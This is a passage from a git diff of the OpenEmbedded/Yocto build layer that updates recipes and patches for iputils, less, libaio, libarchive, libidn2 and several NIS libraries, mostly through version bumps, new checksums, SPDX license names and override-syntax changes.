Main PID: 347 (ninfod) - Tasks: 1 (limit: 9382) - Memory: 1.2M - CGroup: /system.slice/ninfod.service - `-347 /sbin/ninfod -d - - Apr 29 05:18:21 intel-x86-64 systemd[1]: Started Respond to IPv6 Node Information Queries. - Apr 29 05:18:24 intel-x86-64 ninfod[347]: Libgcrypt warning: missing initialization - please fix the application - -Upstream-Status: Inappropriate [the upstream avoids linking to crypto libraries in - commit 214ed83 common: copy md5 implementation to iputils project] - -Signed-off-by: Mingli Yu <mingli.yu@windriver.com> ---- - iputils_md5dig.h | 9 +++++++++ - 1 file changed, 9 insertions(+) - -diff --git a/iputils_md5dig.h b/iputils_md5dig.h -index bfa7f02..3cc3fbf 100644 ---- a/iputils_md5dig.h -+++ b/iputils_md5dig.h -@@ -24,8 +24,17 @@ typedef struct { - gcry_md_hd_t dig; - } iputils_md5dig_ctx; - -+void maybeInit() -+{ -+ if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) -+ { -+ gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0); -+ } -+} -+ - static void iputils_md5dig_init(iputils_md5dig_ctx *ctx) - { -+ maybeInit(); - if (gcry_md_open(&ctx->dig, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR) - abort(); - return; --- -2.24.1 - diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch deleted file mode 100644 index e106a0cf73..0000000000 --- a/meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch +++ /dev/null @@ -1,51 +0,0 @@ -From ab1aa2eb0097a7ef05ffccac058b06812deb2695 Mon Sep 17 00:00:00 2001 -From: Sami Kerola <kerolasa@iki.fi> -Date: Sat, 28 Dec 2019 17:16:27 +0000 -Subject: [PATCH] ninfod: change variable name to avoid colliding with function - name - -The sys/capability.h header has 'extern int cap_setuid(uid_t uid);' -function prototype. - -Addresses: https://github.com/iputils/iputils/issues/246 - -Upstream-Status: Backport [https://github.com/iputils/iputils/commit/18f9a84e0e702841d6cc4d5f593de4fbd1348e83] -Signed-off-by: Sami Kerola <kerolasa@iki.fi> -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - ninfod/ninfod.c | 8 ++++---- - 1 file changed, 4 insertions(+), 4 deletions(-) - -diff --git a/ninfod/ninfod.c b/ninfod/ninfod.c -index badbf80..28f03af 100644 ---- a/ninfod/ninfod.c -+++ b/ninfod/ninfod.c -@@ -454,7 +454,7 @@ static void do_daemonize(void) - /* --------- */ - #ifdef HAVE_LIBCAP - static const cap_value_t cap_net_raw = CAP_NET_RAW; --static const cap_value_t cap_setuid = CAP_SETUID; -+static const cap_value_t cap_setuserid = CAP_SETUID; - static cap_flag_value_t cap_ok; - #else - static uid_t euid; -@@ -486,7 +486,7 @@ static void limit_capabilities(void) - - cap_get_flag(cap_cur_p, CAP_SETUID, CAP_PERMITTED, &cap_ok); - if (cap_ok != CAP_CLEAR) -- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET); -+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET); - - if (cap_set_proc(cap_p) < 0) { - DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno)); -@@ -519,8 +519,8 @@ static void drop_capabilities(void) - - /* setuid / setuid */ - if (cap_ok != CAP_CLEAR) { -- cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuid, CAP_SET); -- cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuid, CAP_SET); -+ cap_set_flag(cap_p, CAP_PERMITTED, 1, &cap_setuserid, CAP_SET); -+ cap_set_flag(cap_p, CAP_EFFECTIVE, 1, &cap_setuserid, CAP_SET); - - if (cap_set_proc(cap_p) < 0) { - DEBUG(LOG_ERR, "cap_set_proc: %s\n", strerror(errno)); diff --git a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch b/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch deleted file mode 100644 index 03a3f5602d..0000000000 --- a/meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch +++ /dev/null @@ -1,28 +0,0 @@ -From c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9 Mon Sep 17 00:00:00 2001 -From: Andrea Stevanato <andrea.stevanato.95@hotmail.it> -Date: Tue, 5 Nov 2019 19:08:30 +0000 -Subject: [PATCH] ninfod: fix systemd Documentation url error - -systemd[1]: /usr/lib/systemd/system/ninfod.service:3: Invalid URL, ignoring: ninfod(8) - -Upstream-Status: Backport [https://github.com/iputils/iputils/commit/c1f1527eb30d4a5feebf9a0757582bbf7fe3eae9] -Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com> ---- - systemd/ninfod.service.in | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/systemd/ninfod.service.in b/systemd/ninfod.service.in -index 5ab69ca00e96..8e79fcd9238e 100644 ---- a/systemd/ninfod.service.in -+++ b/systemd/ninfod.service.in -@@ -1,6 +1,6 @@ - [Unit] - Description=Respond to IPv6 Node Information Queries --Documentation=ninfod(8) -+Documentation=man:ninfod(8) - Requires=network.target - After=network.target - --- -2.17.1 - diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch index d7367caf78..c61e39dc80 100644 --- a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch +++ b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch @@ -1,20 +1,20 @@ -From 6e51d529988cfc0bb357751fd767e9f1478e2b81 Mon Sep 17 00:00:00 2001 +From dfeeb3f1328d09f516edeb6349bd63e3c87f9397 Mon Sep 17 00:00:00 2001 From: Alex Kiernan <alex.kiernan@gmail.com> Date: Thu, 13 Feb 2020 06:08:45 +0000 -Subject: [PATCH] rarpd: rdisc: Drop PrivateUsers +Subject: [PATCH] rarpd:Drop PrivateUsers -Neither rarpd nor rdisc can gain the necessary capabilities with +rarpd cannot gain the necessary capabilities with PrivateUsers enabled. Upstream-Status: Pending Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com> + --- systemd/rarpd.service.in | 1 - - systemd/rdisc.service.in | 3 ++- - 2 files changed, 2 insertions(+), 2 deletions(-) + 1 file changed, 1 deletion(-) diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in -index e600c10c93e6..f5d7621a7ce8 100644 +index e600c10..f5d7621 100644 --- a/systemd/rarpd.service.in +++ b/systemd/rarpd.service.in @@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW @@ -25,22 +25,3 @@ index e600c10c93e6..f5d7621a7ce8 100644 ProtectSystem=strict ProtectHome=yes ProtectControlGroups=yes -diff --git a/systemd/rdisc.service.in b/systemd/rdisc.service.in -index 4e2a1ec9d0e5..a71b87d36b37 100644 ---- a/systemd/rdisc.service.in -+++ b/systemd/rdisc.service.in -@@ -8,9 +8,10 @@ After=network.target - EnvironmentFile=-/etc/sysconfig/rdisc - ExecStart=@sbindir@/rdisc -f -t $OPTIONS $SEND_ADDRESS $RECEIVE_ADDRESS - -+CapabilityBoundingSet=CAP_NET_RAW - AmbientCapabilities=CAP_NET_RAW - PrivateTmp=yes --PrivateUsers=yes -+DynamicUser=yes - ProtectSystem=strict - ProtectHome=yes - ProtectControlGroups=yes --- -2.17.1 - diff --git a/meta/recipes-extended/iputils/iputils_20211215.bb b/meta/recipes-extended/iputils/iputils_20211215.bb new file mode 100644 index 0000000000..3ddce0be54 --- /dev/null +++ b/meta/recipes-extended/iputils/iputils_20211215.bb @@ -0,0 +1,66 @@ +SUMMARY = "Network monitoring tools" +DESCRIPTION = "Utilities for the IP protocol, including \ +tracepath, tracepath6, ping, ping6 and arping." +HOMEPAGE = "https://github.com/iputils/iputils" +SECTION = "console/network" + +LICENSE = "BSD-3-Clause & GPL-2.0-or-later" + +LIC_FILES_CHKSUM = "file://LICENSE;md5=bb64c89bb0e23b72930d2380894c47a1" + +DEPENDS = "gnutls" + +SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https \ + file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \ + " +SRCREV = "1d1e7c43210d8af316a41cb2c53d612a4c16f34d" + +S = "${WORKDIR}/git" + +UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)" + +# Fixed in 2000-10-10, but the versioning of iputils +# breaks the version order. +CVE_CHECK_IGNORE += "CVE-2000-1213 CVE-2000-1214" + +PACKAGECONFIG ??= "libcap rarpd \ + ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod', '', d)} \ + ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" +PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native" +PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2" +PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext" +PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false," +PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false," +PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_system_unitdir},,systemd" +PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt" + +inherit meson systemd update-alternatives pkgconfig + +EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true" + +ALTERNATIVE_PRIORITY = "100" + +ALTERNATIVE:${PN}-ping = "ping" +ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping" + +SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-rdisc \ + ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \ + ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)}" +PACKAGES += "${SPLITPKGS}" + +ALLOW_EMPTY:${PN} = "1" +RDEPENDS:${PN} += "${SPLITPKGS}" + +FILES:${PN} = "" +FILES:${PN}-ping = "${base_bindir}/ping.${BPN}" +FILES:${PN}-arping = "${base_bindir}/arping" +FILES:${PN}-tracepath = "${base_bindir}/tracepath" +FILES:${PN}-clockdiff = "${base_bindir}/clockdiff" +FILES:${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_system_unitdir}/rarpd@.service" +FILES:${PN}-rdisc = "${base_sbindir}/rdisc" +FILES:${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh" + +SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \ + ${PN}-rdisc" +SYSTEMD_SERVICE:${PN}-ninfod = "ninfod.service" +SYSTEMD_SERVICE:${PN}-rdisc = "rdisc.service" diff --git a/meta/recipes-extended/iputils/iputils_s20190709.bb b/meta/recipes-extended/iputils/iputils_s20190709.bb deleted file mode 100644 index 545f3d5e87..0000000000 --- a/meta/recipes-extended/iputils/iputils_s20190709.bb +++ /dev/null @@ -1,74 +0,0 @@ -SUMMARY = "Network monitoring tools" -DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \ -tracepath, tracepath6, ping, ping6 and arping." -HOMEPAGE = "https://github.com/iputils/iputils" -SECTION = "console/network" - -LICENSE = "BSD & GPLv2+" - -LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390" - -DEPENDS = "gnutls" - -SRC_URI = "git://github.com/iputils/iputils \ - file://0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch \ - file://0001-ninfod-fix-systemd-Documentation-url-error.patch \ - file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \ - file://0001-iputils-Initialize-libgcrypt.patch \ - " -SRCREV = "13e00847176aa23683d68fce1d17ffb523510946" - -S = "${WORKDIR}/git" - -UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)" - -# Fixed in 2000-10-10, but the versioning of iputils -# breaks the version order. -CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214" - -PACKAGECONFIG ??= "libcap libgcrypt rarpd \ - ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \ - ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" -PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false, libcap" -PACKAGECONFIG[libgcrypt] = "-DUSE_CRYPTO=gcrypt, -DUSE_CRYPTO=none, libgcrypt" -PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2" -PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext" -PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false," -PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false," -PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_unitdir}/system,,systemd" -PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false," -PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt" - -inherit meson systemd update-alternatives - -# Have to disable setcap/suid as its not deterministic -EXTRA_OEMESON += "--prefix=${root_prefix}/ -DNO_SETCAP_OR_SUID=true" - -ALTERNATIVE_PRIORITY = "100" - -ALTERNATIVE_${PN}-ping = "ping" -ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping" - -SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-tftpd ${PN}-rdisc \ - ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \ - ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}" -PACKAGES += "${SPLITPKGS}" - -ALLOW_EMPTY_${PN} = "1" -RDEPENDS_${PN} += "${SPLITPKGS}" - -FILES_${PN} = "" -FILES_${PN}-ping = "${base_bindir}/ping.${BPN}" -FILES_${PN}-arping = "${base_bindir}/arping" -FILES_${PN}-tracepath = "${base_bindir}/tracepath" -FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6" -FILES_${PN}-clockdiff = "${base_bindir}/clockdiff" -FILES_${PN}-tftpd = "${base_bindir}/tftpd" -FILES_${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_unitdir}/system/rarpd@.service" -FILES_${PN}-rdisc = "${base_sbindir}/rdisc" -FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh" - -SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \ - ${PN}-rdisc" -SYSTEMD_SERVICE_${PN}-ninfod = "ninfod.service" -SYSTEMD_SERVICE_${PN}-rdisc = "rdisc.service" diff --git a/meta/recipes-extended/less/less_562.bb b/meta/recipes-extended/less/less_600.bb index c900574674..9ebe39daab 100644 --- a/meta/recipes-extended/less/less_562.bb +++ b/meta/recipes-extended/less/less_600.bb @@ -5,7 +5,7 @@ programs. Less offers many features beyond those that more does." HOMEPAGE = "http://www.greenwoodsoftware.com/" SECTION = "console/utils" -# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less +# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less # Including email author giving permissing to use BSD # # From: Mark Nudelman <markn@greenwoodsoftware.com> @@ -19,17 +19,16 @@ SECTION = "console/utils" # --Mark # -LICENSE = "GPLv3+ | BSD-2-Clause" -LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ - file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \ +LICENSE = "GPL-3.0-or-later | BSD-2-Clause" +LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \ + file://LICENSE;md5=38fc26d78ca8d284a2a5a4bbc263d29b \ " DEPENDS = "ncurses" SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \ " -SRC_URI[md5sum] = "0371a9678cb42f37b9bf9b86e8aa7903" -SRC_URI[sha256sum] = "eab470c7c928132441541aa49b1352c0fc699c30f762dfaeb3bf88e6f0fd701b" +SRC_URI[sha256sum] = "6633d6aa2b3cc717afb2c205778c7c42c4620f63b1d682f3d12c98af0be74d20" UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html" @@ -39,5 +38,5 @@ do_install () { oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install } -ALTERNATIVE_${PN} = "less" +ALTERNATIVE:${PN} = "less" ALTERNATIVE_PRIORITY = "100" diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch deleted file mode 100644 index 0f90406bee..0000000000 --- a/meta/recipes-extended/libaio/libaio/destdir.patch +++ /dev/null @@ -1,17 +0,0 @@ -Upstream-Status: Pending - -from openembedded, added by Qing He <qing.he@intel.com> - -Index: libaio-0.3.110/Makefile -=================================================================== ---- libaio-0.3.110.orig/Makefile -+++ libaio-0.3.110/Makefile -@@ -15,7 +15,7 @@ all: - @$(MAKE) -C src - - install: -- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir) -+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir) - - check: - @$(MAKE) -C harness check diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch index 0b1f475697..cc91ea99d9 100644 --- a/meta/recipes-extended/libaio/libaio/system-linkage.patch +++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch @@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local' Upstream-Status: Pending Signed-off-by: Ross Burton <ross.burton@intel.com> --- - src/Makefile | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) + src/Makefile | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/Makefile b/src/Makefile -index eadb336..56ab701 100644 +index 37ae219..22e0c9a 100644 --- a/src/Makefile +++ b/src/Makefile -@@ -3,10 +3,10 @@ includedir=$(prefix)/include - libdir=$(prefix)/lib - - CFLAGS ?= -g -fomit-frame-pointer -O2 --CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC -+CFLAGS += -Wall -I. -fPIC +@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2 + CFLAGS += -Wall -I. -fPIC SO_CFLAGS=-shared $(CFLAGS) L_CFLAGS=$(CFLAGS) -LINK_FLAGS= +LINK_FLAGS=$(LDFLAGS) LINK_FLAGS+=$(LDFLAGS) + ENABLE_SHARED ?= 1 - soname=libaio.so.1 -- -2.1.4 +2.25.1 diff --git a/meta/recipes-extended/libaio/libaio_0.3.111.bb b/meta/recipes-extended/libaio/libaio_0.3.112.bb index 8e1cd349a0..859ba65c9f 100644 --- a/meta/recipes-extended/libaio/libaio_0.3.111.bb +++ b/meta/recipes-extended/libaio/libaio_0.3.112.bb @@ -2,16 +2,15 @@ SUMMARY = "Asynchronous I/O library" DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface" HOMEPAGE = "http://lse.sourceforge.net/io/aio.html" -LICENSE = "LGPLv2.1+" +LICENSE = "LGPL-2.1-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499" -SRC_URI = "git://pagure.io/libaio.git;protocol=https \ +SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \ file://00_arches.patch \ - file://destdir.patch \ file://libaio_fix_for_mips_syscalls.patch \ file://system-linkage.patch \ " -SRCREV = "f66be22ab0a59a39858900ab72a8c6a6e8b0b7ec" +SRCREV = "d025927efa75a0d1b46ca3a5ef331caa2f46ee0e" S = "${WORKDIR}/git" EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}" diff --git a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb b/meta/recipes-extended/libarchive/libarchive_3.6.0.bb index dbfc067b93..f078c8ad03 100644 --- a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb +++ b/meta/recipes-extended/libarchive/libarchive_3.6.0.bb @@ -3,19 +3,18 @@ DESCRIPTION = "C library and command-line tools for reading and writing tar, cpi HOMEPAGE = "http://www.libarchive.org/" SECTION = "devel" LICENSE = "BSD-2-Clause" -LIC_FILES_CHKSUM = "file://COPYING;md5=fe01f5e02b1f0cc934d593a7b0ddceb6" +LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665" DEPENDS = "e2fsprogs-native" -PACKAGECONFIG ?= "zlib bz2 xz lzo" +PACKAGECONFIG ?= "zlib bz2 xz lzo zstd" -PACKAGECONFIG_append_class-target = "\ - libxml2 \ +PACKAGECONFIG:append:class-target = "\ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \ " DEPENDS_BZIP2 = "bzip2-replacement-native" -DEPENDS_BZIP2_class-target = "bzip2" +DEPENDS_BZIP2:class-target = "bzip2" PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl," PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr," @@ -29,19 +28,21 @@ PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo," PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle," PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4," PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls," +PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd," EXTRA_OECONF += "--enable-largefile" SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz" +UPSTREAM_CHECK_URI = "http://libarchive.org/" -SRC_URI[sha256sum] = "ee1e749213c108cb60d53147f18c31a73d6717d7e3d2481c157e1b34c881ea39" +SRC_URI[sha256sum] = "a36613695ffa2905fdedc997b6df04a3006ccfd71d747a339b78aa8412c3d852" inherit autotools update-alternatives pkgconfig CPPFLAGS += "-I${WORKDIR}/extra-includes" do_configure[cleandirs] += "${WORKDIR}/extra-includes" -do_configure_prepend() { +do_configure:prepend() { # We just need the headers for some type constants, so no need to # build all of e2fsprogs for the target cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/ @@ -50,16 +51,16 @@ do_configure_prepend() { ALTERNATIVE_PRIORITY = "80" PACKAGES =+ "bsdtar" -FILES_bsdtar = "${bindir}/bsdtar" +FILES:bsdtar = "${bindir}/bsdtar" -ALTERNATIVE_bsdtar = "tar" +ALTERNATIVE:bsdtar = "tar" ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar" ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar" PACKAGES =+ "bsdcpio" -FILES_bsdcpio = "${bindir}/bsdcpio" +FILES:bsdcpio = "${bindir}/bsdcpio" -ALTERNATIVE_bsdcpio = "cpio" +ALTERNATIVE:bsdcpio = "cpio" ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio" ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio" diff --git a/meta/recipes-extended/libidn/libidn2_2.3.0.bb b/meta/recipes-extended/libidn/libidn2_2.3.2.bb index 7adf924aeb..7316c031ce 100644 --- a/meta/recipes-extended/libidn/libidn2_2.3.0.bb +++ b/meta/recipes-extended/libidn/libidn2_2.3.2.bb @@ -2,16 +2,15 @@ SUMMARY = "Internationalized Domain Name support library" DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group." HOMEPAGE = "http://www.gnu.org/software/libidn/" SECTION = "libs" -LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+" +LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \ file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ - file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \ - file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f" + file://src/idn2.c;endline=16;md5=e4b6d628a84a55f1fd8ae4c76c5f6509 \ + file://lib/idn2.h.in;endline=27;md5=d0fc8ec628be130a1d5b889107e92477" SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz" -SRC_URI[md5sum] = "01c5084995295e519f95978ae9785ee0" -SRC_URI[sha256sum] = "e1cb1db3d2e249a6a3eb6f0946777c2e892d5c5dc7bd91c74394fc3a01cab8b5" +SRC_URI[sha256sum] = "76940cd4e778e8093579a9d195b25fff5e936e9dc6242068528b437a76764f91" DEPENDS = "virtual/libiconv libunistring" @@ -21,12 +20,12 @@ EXTRA_OECONF += "--disable-rpath \ --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \ " -do_install_append() { +do_install:append() { # Need to remove any duplicate whitespace too for reproducibility sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc } -LICENSE_${PN} = "(GPLv2+ | LGPLv3)" -LICENSE_${PN}-bin = "GPLv3+" +LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only)" +LICENSE:${PN}-bin = "GPL-3.0-or-later" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.4.bb index b55bb311f6..4dbd9c2450 100644 --- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb +++ b/meta/recipes-extended/libmnl/libmnl_1.0.4.bb @@ -3,7 +3,7 @@ DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, p functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs." HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html" SECTION = "libs" -LICENSE = "LGPLv2.1+" +LICENSE = "LGPL-2.1-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar" diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb index 28c84af7ad..7919ef9b24 100644 --- a/meta/recipes-extended/libnsl/libnsl2_git.bb +++ b/meta/recipes-extended/libnsl/libnsl2_git.bb @@ -5,16 +5,16 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)" DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\ it was part of glibc and now is standalone packages. it also supports IPv6" HOMEPAGE = "https://github.com/thkukuk/libnsl" -LICENSE = "LGPL-2.1" +LICENSE = "LGPL-2.1-only" LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" SECTION = "libs" DEPENDS = "libtirpc" -PV = "1.2.0+git${SRCPV}" +PV = "2.0.0" -SRCREV = "4a062cf4180d99371198951e4ea5b4550efd58a3" +SRCREV = "82245c0c58add79a8e34ab0917358217a70e5100" -SRC_URI = "git://github.com/thkukuk/libnsl \ +SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \ " S = "${WORKDIR}/git" diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb index a1d914e871..d0afb3ca0a 100644 --- a/meta/recipes-extended/libnss-nis/libnss-nis.bb +++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb @@ -8,7 +8,7 @@ This code was formerly part of glibc, but is now standalone to\ be able to link against TI-RPC for IPv6 support." HOMEPAGE = "https://github.com/thkukuk/libnss_nis" -LICENSE = "LGPL-2.1" +LICENSE = "LGPL-2.1-only" LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" SECTION = "libs" DEPENDS += "libtirpc libnsl2" @@ -17,7 +17,7 @@ PV = "3.1+git${SRCPV}" SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad" -SRC_URI = "git://github.com/thkukuk/libnss_nis \ +SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \ " S = "${WORKDIR}/git" @@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk" # # We will skip parsing this packagegeoup for non-glibc systems # -COMPATIBLE_HOST_libc-musl = 'null' +COMPATIBLE_HOST:libc-musl = 'null' diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb index a182461607..67072e8c99 100644 --- a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb +++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb @@ -3,12 +3,11 @@ DESCRIPTION = "This 